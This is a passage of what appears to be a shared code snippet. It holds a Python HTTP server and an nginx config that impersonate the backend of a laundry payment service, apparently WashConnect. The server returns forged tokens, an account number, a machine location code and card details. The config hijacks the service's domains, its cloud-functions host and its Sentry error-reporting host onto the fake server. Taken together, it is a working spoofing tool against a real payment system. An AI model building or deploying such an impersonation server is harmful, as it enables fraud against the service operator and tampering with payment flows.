xeeFNcIJjyT9j1cT3AS6adES1qBcMZ37VJ4kXZPt9DvRP90J5gJU453LEEe2F0JxZO4ANZKi6E4DPv6Y-J228DDdhV3VHBnH5seOhDpQKZKJR3RMf4XiCv9EVXFwKJrDR1hFqYc9txBpR_uFdEr6AXBrmPzNUNLRGCsl_9eCyCGPB7a1j_suvzh2Qmdyuto4Ic2ZF50gh4ew-urM95uFYiK5XeqtCl2WXhC6cogTR3eCqfAuNrPdtsTvWV5zsBVg"}'.encode('utf-8'))
return
if self.path.startswith('/get_token'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":200,"debug_original_token":"000000828463A3020000230803061813000000000000050000010001A5A5A5A54D6171EDEC84047C30A903F8B0B040409B379B6CF4A54ECF6DE1D83FC22CABF12DC59C2FDB7C21EC8F63B36D5A28A3DCA15FCFF8A5D75A40749B0D4566F12EFA54145AEDF93ED959B934D2EDD7F6662D9E83E710F4C6D9E22FE83AD7262AD03A3D124C6E6D5173DA50BDF904F07ACBFFB07BA7B1652F2D295C3A99EE8D8714B54AE75705B9F9420E","debug_account_number":"000000828463","user_token":"U2FsdGVkX1+k6O+6x4HtJp5RgJ8IWafJ9GuvKQqzxUU7FEOfYkVi9GjOhfwmN0sr4GNA4pWzpFU8IrnagZXuwh9HK939FEjfIBqxHQ5od1KMu7crc9+WtddncXDCPLS0PAYAqXDPgQ1rYn4lNvWCG2QZIF+mTe3qWgoP7meNgJ3v/OPVQ6IXKCjEBignKBq7h8v10BjZl85KbdD/L+2hkQv8GxfMTgrejsm1IVlqT0YcxPvsebxSrM8vMhbE0Nc2f0aNLp/ziSNw+u66Rc13jhayRoHnasnDchxBM4R/rW/7nbgXHCCc7KpA6nqRYNaz/+0Yo0aiVQSYUWhWbz2tAOL6TPt7p+3+cqB/trkkPa84sQ0lNVFLFrq1PxZCnYQFT3j77hDojc4T5aYNRnPDaM5rRd34e56us240E3W7DSMiV/7Hl3wfYhIFOSzKpZH/rGK/84gACbzxckJ+PxwxzNzOo25Su7wIjrzvh8HVmgUmIIw0nfG72jFGOP1olaqFHCTaRMaPvKsZgMmaiJmzlw=="}'.encode('utf-8'))
return
if self.path.startswith('/api/locations/get_location_uln_srcode'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"uln":"WA7502986"}'.encode('utf-8'))
return
if self.path.startswith('/api/payment/card_info'):
self.send_header("Server","nginx")
self.send_header("content-type","application/json; charset=utf-8")
self.send_header("x-content-type-options","nosniff")
self.send_header("x-frame-options","sameorigin")
self.send_header("x-xss-protection","1; mode=block")
self.send_header("access-control-allow-origin","*")
self.end_headers()
self.wfile.write('{"status":200,"card_type":"4","card_num":"5539"}'.encode('utf-8'))
return
if self.path.startswith('/api/5355472/envelope/'):
self.send_header("Server","nginx")
self.send_header("content-type","application/json")
self.send_header("access-control-allow-origin","*")
self.send_header("vary","origin,access-control-request-method,access-control-request-headers")
self.send_header("access-control-expose-headers","x-sentry-error,x-sentry-rate-limits,retry-after")
self.send_header("x-envoy-upstream-service-time","0")
self.send_header("Via","1.1 google")
self.send_header("Alt-Svc",'h3=":443"; ma=2592000,h3-29=":443"; ma=2592000')
self.send_header("Connection","close")
self.end_headers()
self.wfile.write('{}'.encode('utf-8'))
return
if self.path.startswith('/get_machine_status_v1'):
self.send_header("content-type","application/json; charset=utf-8")
self.end_headers()
self.wfile.write('{"status":"error","error":{"errorCode":400,"errorMessage":"No ULN provided"}}'.encode('utf-8'))
return
self.send_response(403)
self.send_header("Content-type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write('invalid post query.'.encode('utf-8'))
try:
server = http.server.HTTPServer(('', listen_port), my_handler)
print('Listening *:' + str(listen_port))
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
server {
listen 443 ssl;
server_name getwashconnect.com;
server_name us-central1-washmobilepay.cloudfunctions.net;
server_name o424104.ingest.sentry.io;
ssl_certificate /tmp/example.com.crt;
ssl_certificate_key /tmp/example.com.key;
chunked_transfer_encoding off;
location / {
proxy_http_version 1.1;
keepalive_timeout 0;
proxy_pass_request_headers on;
proxy_pass http://127.0.0.1:25502;
}
}
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment